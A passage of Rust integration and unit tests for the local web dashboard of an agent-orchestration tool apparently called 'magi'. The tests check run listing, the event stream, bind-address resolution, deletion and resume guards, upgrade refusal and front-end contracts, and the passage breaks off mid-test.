4255 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4256 let f = Fixture::with_loop(launch_broken).await;
4257
4258 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4259 assert_eq!(
4260 res.status, 200,
4261 "starting it is not the failure: {}",
4262 res.body
4263 );
4264
4265 let view = settled(&f, |v| v["last_error"].is_string()).await;
4266 assert_eq!(
4267 view["running"], false,
4268 "a loop that died must not read as running, or the operator has \
4269 nothing to press: {view}"
4270 );
4271 assert_eq!(view["owned"], false);
4272 assert!(
4273 view["last_error"]
4274 .as_str()
4275 .is_some_and(|e| e.contains("read-only file system")),
4276 "the phone is where a loop that died at 3am is visible: {view}"
4277 );
4278
4279 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4282 assert_eq!(again.status, 200, "{}", again.body);
4283 assert_eq!(
4284 again.json()["last_error"],
4285 Value::Null,
4286 "a fresh start does not keep showing why the last one died"
4287 );
4288 }
4289
4290 #[tokio::test]
4302 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
4303 let home = TempDir::new().expect("temp home");
4304 let runs = home.path().join("runs");
4305 std::fs::create_dir_all(&runs).expect("runs dir");
4306 let ui = Ui::new(
4307 Queue::at(home.path().join("queue")),
4308 Questions::at(home.path().join("questions")),
4309 Chats::at(home.path().join("chats")),
4310 runs,
4311 home.path().to_path_buf(),
4312 PathBuf::from("/repo/magi"),
4313 )
4314 .with_launch(launch_knocking_on_the_way_out);
4315 let looping = ui.looping();
4316 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4317 .await
4318 .expect("bind loopback");
4319 let addr = listener.local_addr().expect("local addr");
4320 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
4321 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
4322
4323 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
4324 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
4325
4326 let bound = std::sync::Mutex::new(None);
4329 hand_over(&looping, served, || {
4330 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
4331 *bound.lock().expect("bound") = Some(attempt);
4332 Ok(())
4333 })
4334 .await
4335 .expect("hand over");
4336
4337 assert_eq!(
4338 *PARK_HEARD.lock().expect("park heard"),
4339 Some(200),
4340 "the deck must answer while the loop is parking"
4341 );
4342 let attempt = bound
4343 .lock()
4344 .expect("bound")
4345 .take()
4346 .expect("the successor was started");
4347 assert!(
4348 attempt.is_ok(),
4349 "and the address must be free by the time it is: {attempt:?}"
4350 );
4351 }
4352
4353 #[tokio::test]
4354 async fn a_newer_daemon_status_file_still_renders() {
4355 let f = Fixture::start().await;
4356 std::fs::write(
4359 f.home.path().join("daemon.json"),
4360 serde_json::json!({
4361 "schema": 2,
4362 "updated_at": Timestamp::now().to_string(),
4363 "idle": true,
4364 "surprise": { "nested": [1, 2, 3] },
4365 })
4366 .to_string(),
4367 )
4368 .expect("write daemon.json");
4369
4370 let health = f.get("/api/health").await;
4371
4372 assert_eq!(health.status, 200);
4373 assert_eq!(health.json()["daemon"]["running"], true);
4374 }
4375
4376 #[tokio::test]
4377 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4378 let f = Fixture::start().await;
4379 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4380 let broken = f.runs().join("20260902-140502-bad");
4381 std::fs::create_dir_all(&broken).expect("run dir");
4382 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4383
4384 let list = f.get("/api/runs").await;
4385 let detail = f.get("/api/runs/20260902-140502-bad").await;
4386
4387 assert_eq!(list.status, 200);
4388 let listed = list.json();
4389 let ids: Vec<&str> = listed
4390 .as_array()
4391 .expect("an array")
4392 .iter()
4393 .map(|r| r["id"].as_str().expect("an id"))
4394 .collect();
4395 assert_eq!(
4396 ids,
4397 vec!["20260902-140501-good"],
4398 "one unreadable run must not cost the operator the whole history"
4399 );
4400 assert_eq!(detail.status, 500);
4401 assert!(
4402 detail.json()["error"]
4403 .as_str()
4404 .is_some_and(|e| e.contains("run.json")),
4405 "the failure names the file to look at: {}",
4406 detail.body
4407 );
4408 let health = f.get("/api/health").await;
4412 assert_eq!(health.json()["runs_unreadable"], 1);
4413 }
4414
4415 #[tokio::test]
4416 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4417 let f = Fixture::start().await;
4418 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4419
4420 let summary = f.get("/api/runs").await.json();
4421 let row = &summary[0];
4422 assert_eq!(row["short"], "a1b2");
4423 assert_eq!(row["status"], "ready");
4424 assert_eq!(row["done"], true);
4425 assert_eq!(row["title"], "Add a web UI");
4426 assert_eq!(row["repo_name"], "magi");
4427 assert_eq!(row["judges"], 3);
4428 assert_eq!(row["winner"], Value::Null);
4429 assert_eq!(row["reviews"], 0);
4430
4431 let detail = f.get("/api/runs/a1b2").await;
4434 assert_eq!(detail.status, 200);
4435 assert_eq!(detail.json()["base_branch"], "main");
4436 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4437 }
4438
4439 #[tokio::test]
4440 async fn the_run_list_is_newest_first_and_honours_a_limit() {
4441 let f = Fixture::start().await;
4442 for id in [
4443 "20260902-140501-aaaa",
4444 "20260902-140502-bbbb",
4445 "20260902-140503-cccc",
4446 ] {
4447 write_run(&f.runs(), id, RunStatus::Merged);
4448 }
4449
4450 let all = f.get("/api/runs").await.json();
4451 let capped = f.get("/api/runs?limit=2").await.json();
4452
4453 assert_eq!(all[0]["id"], "20260902-140503-cccc");
4454 assert_eq!(all.as_array().map(Vec::len), Some(3));
4455 assert_eq!(capped.as_array().map(Vec::len), Some(2));
4456 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4457 }
4458
4459 #[tokio::test]
4460 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4461 let f = Fixture::start().await;
4462 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4463
4464 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4465
4466 assert_eq!(res.status, 200);
4467 assert!(
4468 res.headers
4469 .contains("content-type: text/plain; charset=utf-8"),
4470 "a browser must render it, not download it: {}",
4471 res.headers
4472 );
4473 assert!(
4477 res.body.contains("20260902-140501-a1b2"),
4478 "the report is about the run that was asked for: {}",
4479 res.body
4480 );
4481 }
4482
4483 #[tokio::test]
4484 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4485 let f = Fixture::start().await;
4486
4487 let html = f.get("/").await;
4488 let css = f.get("/app.css").await;
4489 let js = f.get("/app.js").await;
4490
4491 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4492 assert!(
4493 html.headers
4494 .contains("content-type: text/html; charset=utf-8")
4495 );
4496 assert!(css.headers.contains("content-type: text/css"));
4497 assert!(js.headers.contains("content-type: text/javascript"));
4498 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4499 }
4500
4501 #[tokio::test]
4502 async fn the_change_stream_announces_the_current_revisions_on_connect() {
4503 let f = Fixture::start().await;
4504
4505 let mut socket = tokio::net::TcpStream::connect(f.addr)
4506 .await
4507 .expect("connect");
4508 socket
4509 .write_all(
4510 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4511 )
4512 .await
4513 .expect("write request");
4514
4515 let mut seen = String::new();
4518 let mut buf = [0u8; 1024];
4519 while !seen.contains("event: change") {
4520 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4521 .await
4522 .expect("the stream must speak within five seconds")
4523 .expect("read");
4524 assert!(read > 0, "the server closed the change stream: {seen}");
4525 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4526 }
4527
4528 assert!(
4529 seen.to_lowercase()
4530 .contains("content-type: text/event-stream"),
4531 "the browser only reconnects automatically for a real SSE stream: {seen}"
4532 );
4533 let data = seen
4534 .lines()
4535 .find_map(|l| l.strip_prefix("data:"))
4536 .expect("a data line");
4537 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4538 assert!(
4539 payload["queue_rev"].is_u64()
4540 && payload["runs_rev"].is_u64()
4541 && payload["questions_rev"].is_u64()
4542 && payload["chats_rev"].is_u64()
4543 && payload["loop_rev"].is_u64(),
4544 "the client needs one revision per store to know what to refetch, \
4545 and `chats_rev` is the only notification a slow interview gets - \
4546 a phone whose radio slept through a turn learns about it here, as \
4547 does one whose operator started the loop from another device: \
4548 {payload}"
4549 );
4550
4551 let health = f.get("/api/health").await.json();
4558 for key in [
4559 "queue_rev",
4560 "runs_rev",
4561 "questions_rev",
4562 "chats_rev",
4563 "loop_rev",
4564 ] {
4565 assert!(
4566 health[key].is_u64(),
4567 "health is the change stream's fallback and is missing `{key}`: {health}"
4568 );
4569 }
4570 }
4571
4572 #[test]
4573 fn bind_reads_back_from_the_spelling_the_cli_prints() {
4574 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4578 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4579 }
4580 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4581 assert!("everywhere".parse::<Bind>().is_err());
4582 }
4583
4584 #[test]
4585 fn an_explicit_bind_address_is_taken_verbatim() {
4586 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4587
4588 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4589
4590 assert_eq!(addr, asked);
4591 assert!(
4592 warning.is_none(),
4593 "an operator who named an address gets no lecture"
4594 );
4595 }
4596
4597 #[test]
4598 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4599 let (addr, warning) = resolve_bind(&Bind::Auto);
4600
4601 match addr {
4608 IpAddr::V4(ip) if is_tailnet(&ip) => {
4609 assert!(warning.is_none(), "a tailnet address needs no warning");
4610 }
4611 other => {
4612 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4613 let warning = warning.expect("a fallback has to explain itself");
4614 assert!(
4615 warning.contains("127.0.0.1") && warning.contains("local-only"),
4616 "the warning says what happened and what it costs: {warning}"
4617 );
4618 }
4619 }
4620 }
4621
4622 #[test]
4623 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4624 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4628 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4629 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4630 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4631 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4632 }
4633
4634 #[test]
4635 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4636 let ids = vec![
4637 "20260902-140501-aaaa".to_owned(),
4638 "20260902-140502-aabb".to_owned(),
4639 ];
4640
4641 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4642 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4643 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4644
4645 assert_eq!(missing.status, StatusCode::NOT_FOUND);
4646 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4647 assert_eq!(short, "20260902-140502-aabb");
4648 }
4649 #[tokio::test]
4650 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4651 let fx = Fixture::start().await;
4657 let id = panel(
4658 &fx,
4659 "<img src=\"shot.png\">",
4660 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4661 );
4662
4663 let doc = fx
4665 .get(&format!("/api/questions/{id}/panel/index.html"))
4666 .await;
4667 assert_eq!(doc.status, 200, "{}", doc.body);
4668 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4669
4670 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4671 assert_eq!(sibling.status, 200, "{}", sibling.body);
4672 assert_eq!(sibling.header("content-type"), Some("image/png"));
4673 assert_eq!(
4674 sibling.header("content-security-policy"),
4675 Some(PANEL_CSP),
4676 "the sibling route must carry the same policy as the asset route"
4677 );
4678
4679 assert_eq!(
4682 fx.head(&format!("/api/questions/{id}/panel")).await.status,
4683 200
4684 );
4685 }
4686
4687 #[test]
4688 fn runs_revision_moves_when_deleting_an_older_run() {
4689 let temp = TempDir::new().expect("tempdir");
4690 let runs = temp.path().join("runs");
4691 std::fs::create_dir_all(&runs).expect("create runs dir");
4692
4693 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4694
4695 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4696 std::thread::sleep(Duration::from_millis(10));
4697 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4698
4699 let rev_before = runs_revision(&runs);
4700 assert!(rev_before > 0);
4701
4702 let old_dir = runs.join("20260901-100000-old1");
4703 std::fs::remove_dir_all(&old_dir).expect("remove old run");
4704
4705 let rev_after = runs_revision(&runs);
4706 assert_ne!(
4707 rev_before, rev_after,
4708 "deleting an older run must change the revision so other clients see the deletion"
4709 );
4710 }
4711
4712 #[tokio::test]
4713 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4714 let fx = Fixture::start().await;
4715 let q = fx.queue();
4716
4717 let mut t1 = Task::new(
4719 "Task 1".to_owned(),
4720 "Instruction 1".to_owned(),
4721 PathBuf::from("/repo"),
4722 Source::Human,
4723 );
4724 let run_id = "20260901-000000-r111";
4725 t1.runs.push(run_id.to_owned());
4726 write_run(&fx.runs(), run_id, RunStatus::Merged);
4727 q.put(&mut t1).expect("put t1");
4728
4729 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4731 assert_eq!(res.status, 204);
4732 assert!(res.body.is_empty(), "204 No Content has no body");
4733 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4734 assert!(
4735 fx.runs().join(run_id).exists(),
4736 "run directory must not be deleted when its task is deleted"
4737 );
4738
4739 let mut t2 = Task::new(
4741 "Task 2".to_owned(),
4742 "Instruction 2".to_owned(),
4743 PathBuf::from("/repo"),
4744 Source::Human,
4745 );
4746 t2.status = TaskStatus::Running;
4747 q.put(&mut t2).expect("put t2");
4748 let mut beat = crate::daemon::Status::new();
4749 beat.current = Some(crate::daemon::Current {
4750 task: t2.id.clone(),
4751 run: "20260901-000000-r222".to_owned(),
4752 });
4753 beat.updated_at = jiff::Timestamp::now();
4754 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4755 .expect("publish a heartbeat");
4756 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4757 assert_eq!(res.status, 409);
4758 assert!(
4759 res.json()["error"]
4760 .as_str()
4761 .unwrap()
4762 .contains("live daemon")
4763 );
4764 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4765
4766 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4772 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4773 .expect("leave a stale heartbeat");
4774 let mut t3 = Task::new(
4775 "Task 3".to_owned(),
4776 "Instruction 3".to_owned(),
4777 PathBuf::from("/repo"),
4778 Source::Human,
4779 );
4780 t3.status = TaskStatus::Running;
4781 q.put(&mut t3).expect("put t3");
4782 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4783 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4784 assert_eq!(res.status, 204);
4785 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4786 assert!(
4787 q.claim(&t3.id).is_ok(),
4788 "the stale lock went with it, so the id is claimable again"
4789 );
4790
4791 let res = fx.delete("/api/queue/nonexistent").await;
4793 assert_eq!(res.status, 404);
4794 }
4795
4796 #[tokio::test]
4797 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4798 let fx = Fixture::start().await;
4799 let runs = fx.runs();
4800
4801 let run_id = "20260901-000000-fold";
4803 let mut state = RunState::new(
4804 PathBuf::from("/repo"),
4805 "main".to_owned(),
4806 "abc".to_owned(),
4807 "instruction".to_owned(),
4808 Config::default(),
4809 );
4810 state.id = run_id.to_owned();
4811 state.status = RunStatus::Merged;
4812 state.candidates.push(crate::run::Candidate {
4813 index: 0,
4814 label: 'A',
4815 agent: "a".to_owned(),
4816 branch: "b".to_owned(),
4817 worktree: PathBuf::from("/w"),
4818 summary: String::new(),
4819 stat: String::new(),
4820 files: 1,
4821 commits: 1,
4822 empty: false,
4823 failed: None,
4824 duration_ms: 0,
4825 folded: true,
4826 });
4827 let dir = runs.join(run_id);
4828 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4829 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4830 .expect("write artifact");
4831 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4832 .expect("write run.json");
4833
4834 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4836 assert_eq!(res.status, 204);
4837 assert!(res.body.is_empty(), "204 has no body");
4838 assert!(!dir.exists(), "run directory and artifacts must be deleted");
4839
4840 let run_running = "20260901-000000-rung";
4845 write_run(&runs, run_running, RunStatus::Prep);
4846 let mut beat = crate::daemon::Status::new();
4847 beat.current = Some(crate::daemon::Current {
4848 task: "20260901-000000-task".to_owned(),
4849 run: run_running.to_owned(),
4850 });
4851 beat.updated_at = jiff::Timestamp::now();
4852 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4853 .expect("publish a heartbeat");
4854 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4855 assert_eq!(res.status, 409);
4856 assert!(
4857 res.json()["error"]
4858 .as_str()
4859 .unwrap()
4860 .contains("live daemon"),
4861 "the refusal must say who is holding it"
4862 );
4863 assert!(
4864 runs.join(run_running).exists(),
4865 "a run in flight keeps its directory"
4866 );
4867
4868 let run_unfolded = "20260901-000000-unfd";
4870 let mut state2 = RunState::new(
4871 PathBuf::from("/repo"),
4872 "main".to_owned(),
4873 "abc".to_owned(),
4874 "instruction".to_owned(),
4875 Config::default(),
4876 );
4877 state2.id = run_unfolded.to_owned();
4878 state2.status = RunStatus::Ready;
4879 state2.candidates.push(crate::run::Candidate {
4880 index: 0,
4881 label: 'A',
4882 agent: "a".to_owned(),
4883 branch: "b".to_owned(),
4884 worktree: PathBuf::from("/w"),
4885 summary: String::new(),
4886 stat: String::new(),
4887 files: 1,
4888 commits: 1,
4889 empty: false,
4890 failed: None,
4891 duration_ms: 0,
4892 folded: false,
4893 });
4894 let dir2 = runs.join(run_unfolded);
4895 std::fs::create_dir_all(&dir2).expect("create dir2");
4896 std::fs::write(
4897 dir2.join("run.json"),
4898 serde_json::to_string(&state2).unwrap(),
4899 )
4900 .expect("write run.json");
4901
4902 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4903 assert_eq!(res.status, 409);
4904 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4905 assert!(dir2.exists(), "unfolded run directory is kept");
4906
4907 let res = fx.delete("/api/runs/nonexistent").await;
4909 assert_eq!(res.status, 404);
4910 }
4911
4912 #[test]
4913 fn web_ui_delete_contract_in_front_end() {
4914 assert!(APP_JS.contains("deleteRun:"));
4916 assert!(APP_JS.contains("deleteTask:"));
4917
4918 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4920 ..APP_JS.find("function renderRuns").unwrap()];
4921 assert!(!run_cards_slice.to_lowercase().contains("delete"));
4922
4923 assert!(APP_JS.contains("renderRunDelete"));
4925 assert!(APP_JS.contains("runDeleteReason"));
4926 assert!(APP_JS.contains("magi fold"));
4927 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4928
4929 assert!(APP_JS.contains("cancel.focus"));
4931 assert!(APP_JS.contains("armedRunDelete"));
4932 assert!(APP_JS.contains("armedDelete"));
4933
4934 assert!(APP_JS.contains("disabled: status === \"running\""));
4936 }
4937
4938 #[test]
4958 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
4959 let build = APP_JS
4960 .find("function createRunCard")
4961 .expect("createRunCard exists");
4962 let update = APP_JS
4963 .find("function updateRunCard")
4964 .expect("updateRunCard exists");
4965 let end = APP_JS
4966 .find("function renderRuns")
4967 .expect("renderRuns exists");
4968
4969 let builder = &APP_JS[build..update];
4971 let open = builder.find("refs = {").expect("createRunCard sets refs");
4972 let literal = &builder[open + "refs = {".len()..];
4973 let close = literal.find('}').expect("the refs literal is closed");
4974 let published: HashSet<&str> = literal[..close]
4975 .split(',')
4976 .filter_map(|entry| entry.split(':').next())
4978 .map(str::trim)
4979 .filter(|name| !name.is_empty())
4980 .collect();
4981 assert!(
4982 published.len() > 5,
4983 "the refs literal did not parse into names: {published:?}"
4984 );
4985
4986 let mut used: Vec<&str> = Vec::new();
4989 let updaters = &APP_JS[update..end];
4990 for (at, _) in updaters.match_indices("r.") {
4991 let before = updaters[..at].chars().next_back();
4994 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
4995 continue;
4996 }
4997 let rest = &updaters[at + 2..];
4998 let len = rest
4999 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
5000 .unwrap_or(rest.len());
5001 if len > 0 {
5002 used.push(&rest[..len]);
5003 }
5004 }
5005 assert!(
5006 used.len() > 5,
5007 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
5008 );
5009
5010 let missing: Vec<&str> = used
5011 .iter()
5012 .copied()
5013 .filter(|name| !published.contains(name))
5014 .collect();
5015 assert!(
5016 missing.is_empty(),
5017 "a run card's updater reaches for {missing:?}, which `createRunCard` \
5018 never put in `refs` - every card will throw and the list will \
5019 render empty under a count line that says otherwise. Published: \
5020 {published:?}"
5021 );
5022 }
5023
5024 #[tokio::test]
5025 async fn folding_from_the_phone_reports_what_it_removed() {
5026 let fx = Fixture::start().await;
5027 let runs = fx.runs();
5028
5029 let id = "20260901-000000-fold";
5033 write_run(&runs, id, RunStatus::Stalled);
5034 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5035 assert_eq!(res.status, 200);
5036 assert_eq!(res.json()["removed_count"], 0);
5037 assert_eq!(res.json()["run"], id);
5038 assert!(
5039 runs.join(id).exists(),
5040 "a fold keeps the run's record; only the worktrees go"
5041 );
5042 }
5043
5044 #[tokio::test]
5045 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
5046 let fx = Fixture::start().await;
5047 let runs = fx.runs();
5048 let id = "20260901-000000-live";
5049 write_run(&runs, id, RunStatus::Implementing);
5050
5051 let mut beat = crate::daemon::Status::new();
5052 beat.current = Some(crate::daemon::Current {
5053 task: "20260901-000000-task".to_owned(),
5054 run: id.to_owned(),
5055 });
5056 beat.updated_at = jiff::Timestamp::now();
5057 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5058 .expect("publish a heartbeat");
5059
5060 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5061 assert_eq!(res.status, 409);
5062 assert!(
5063 res.json()["error"]
5064 .as_str()
5065 .unwrap()
5066 .contains("live daemon"),
5067 "folding under a running agent would pull its worktree away"
5068 );
5069 }
5070
5071 #[tokio::test]
5072 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
5073 let fx = Fixture::start().await;
5074 let runs = fx.runs();
5075
5076 for (status, word) in [
5082 (RunStatus::Merged, "merged"),
5083 (RunStatus::Ready, "ready"),
5084 (RunStatus::Failed, "failed"),
5085 ] {
5086 let id = format!("20260901-000000-{}", &word[..4]);
5087 write_run(&runs, &id, status);
5088 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
5089 assert_eq!(res.status, 409, "{word} must not be resumable");
5090 let err = res.json()["error"].as_str().unwrap().to_owned();
5091 assert!(err.contains(word), "the refusal names the status: {err}");
5092 }
5093
5094 let mid = "20260901-000000-midf";
5099 write_run(&runs, mid, RunStatus::Reviewing);
5100 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
5101 assert_eq!(res.status, 202, "an interrupted run is resumable");
5102 }
5103
5104 #[tokio::test]
5105 async fn resume_is_refused_while_the_loop_is_running() {
5106 let fx = Fixture::start().await;
5107 let runs = fx.runs();
5108 let stalled = "20260901-000000-stal";
5109 write_run(&runs, stalled, RunStatus::Stalled);
5110
5111 let mut beat = crate::daemon::Status::new();
5114 beat.current = Some(crate::daemon::Current {
5115 task: "20260901-000000-task".to_owned(),
5116 run: "20260901-000000-othr".to_owned(),
5117 });
5118 beat.updated_at = jiff::Timestamp::now();
5119 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5120 .expect("publish a heartbeat");
5121
5122 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5123 assert_eq!(res.status, 409);
5124 let err = res.json()["error"].as_str().unwrap().to_owned();
5125 assert!(err.contains("othr"), "it names what the loop is on: {err}");
5126 assert!(err.contains("one competition at a time"), "{err}");
5127 }
5128
5129 #[test]
5130 fn a_run_cannot_be_resumed_twice_at_once() {
5131 let home = TempDir::new().expect("temp home");
5132 let ui = Ui::new(
5133 Queue::at(home.path().join("queue")),
5134 Questions::at(home.path().join("questions")),
5135 Chats::at(home.path().join("chats")),
5136 home.path().join("runs"),
5137 home.path().to_path_buf(),
5138 PathBuf::from("/repo"),
5139 );
5140 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5141 let again = ui.begin_resume("20260901-000000-once");
5142 assert!(again.is_err(), "a second tap must not start a second graph");
5143 drop(first);
5144 assert!(
5145 ui.begin_resume("20260901-000000-once").is_ok(),
5146 "and the claim is released when the attempt ends"
5147 );
5148 }
5149
5150 #[test]
5151 fn refreshing_a_conversation_never_navigates_to_it() {
5152 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5159 ..APP_JS.find("async function startChat(").expect("startChat")];
5160 assert!(
5161 !body.contains("state.chatDetail = {"),
5162 "loadChat must not decide which conversation is on screen: {body}"
5163 );
5164 assert!(
5165 body.contains("if (state.chatDetail.id !== id) return;"),
5166 "it returns instead of drawing a chat the operator is not reading"
5167 );
5168
5169 assert!(
5173 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5174 "settle the turn before the on-screen check"
5175 );
5176
5177 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5179 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5180 }
5181
5182 #[tokio::test]
5183 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5184 let fx = Fixture::start().await;
5185 let mut beat = crate::daemon::Status::new();
5189 beat.pid = 4321;
5190 beat.updated_at = jiff::Timestamp::now();
5191 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5192 .expect("publish a heartbeat");
5193
5194 let res = fx.post("/api/upgrade", None).await;
5195 assert_eq!(res.status, 409);
5196 let err = res.json()["error"].as_str().unwrap().to_owned();
5197 assert!(err.contains("4321"), "the refusal names the owner: {err}");
5198 assert!(err.contains("old one against the same queue"), "{err}");
5199 }
5200
5201 #[tokio::test]
5202 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5203 let repo = TempDir::new().expect("repo dir");
5219 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
5220 .expect("write magi.toml");
5221 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
5222
5223 let res = fx.post("/api/upgrade", None).await;
5229 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5230 let body = res.json();
5231 assert!(body["to"].is_null(), "there was no release to move to");
5232 assert!(body["parked"].is_null(), "and nothing was parked");
5233 assert!(
5234 body["detail"]
5235 .as_str()
5236 .unwrap()
5237 .contains("nothing restarted"),
5238 "{body:?}"
5239 );
5240 }
5241
5242 #[test]
5243 fn the_upgrade_button_arms_before_it_restarts_anything() {
5244 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5247 assert!(APP_JS.contains("Replace the binary and restart?"));
5248 assert!(APP_JS.contains("function confirmed("));
5249 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5251 assert!(
5255 APP_JS.contains("Parking, then restarting"),
5256 "the button says what it is waiting for"
5257 );
5258 assert!(APP_JS.contains("if (!out.to)"));
5261 }
5262
5263 #[test]
5264 fn an_error_is_visible_from_where_the_button_is() {
5265 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5270 ..APP_CSS.find(".alert-text").expect(".alert-text")];
5271 assert!(
5272 alert.contains("position: fixed"),
5273 "an error about the thing under your thumb has to be visible from \
5274 where your thumb is: {alert}"
5275 );
5276 assert!(
5277 alert.contains("z-index: 25"),
5278 "above the dock (20) and the run-actions FAB (15), so neither \
5279 buries it: {alert}"
5280 );
5281 assert!(
5282 alert.contains("var(--tap)"),
5283 "and clear of the dock and the home indicator: {alert}"
5284 );
5285 assert!(
5288 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5289 "the FAB's column stays free: {alert}"
5290 );
5291 }
5292
5293 #[tokio::test]
5294 async fn an_older_attempt_says_what_replaced_it() {
5295 let fx = Fixture::start().await;
5296 let q = fx.queue();
5297 let runs = fx.runs();
5298 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5299 write_run(&runs, first, RunStatus::Stalled);
5300 write_run(&runs, second, RunStatus::Blocked);
5301
5302 let mut t = Task::new(
5303 "one task".to_owned(),
5304 "do it".to_owned(),
5305 PathBuf::from("/repo"),
5306 Source::Human,
5307 );
5308 t.runs = vec![first.to_owned(), second.to_owned()];
5309 q.put(&mut t).expect("put");
5310
5311 let rows = fx.get("/api/runs").await.json();
5315 let by = |short: &str| -> Value {
5316 rows.as_array()
5317 .unwrap()
5318 .iter()
5319 .find(|r| r["short"] == short)
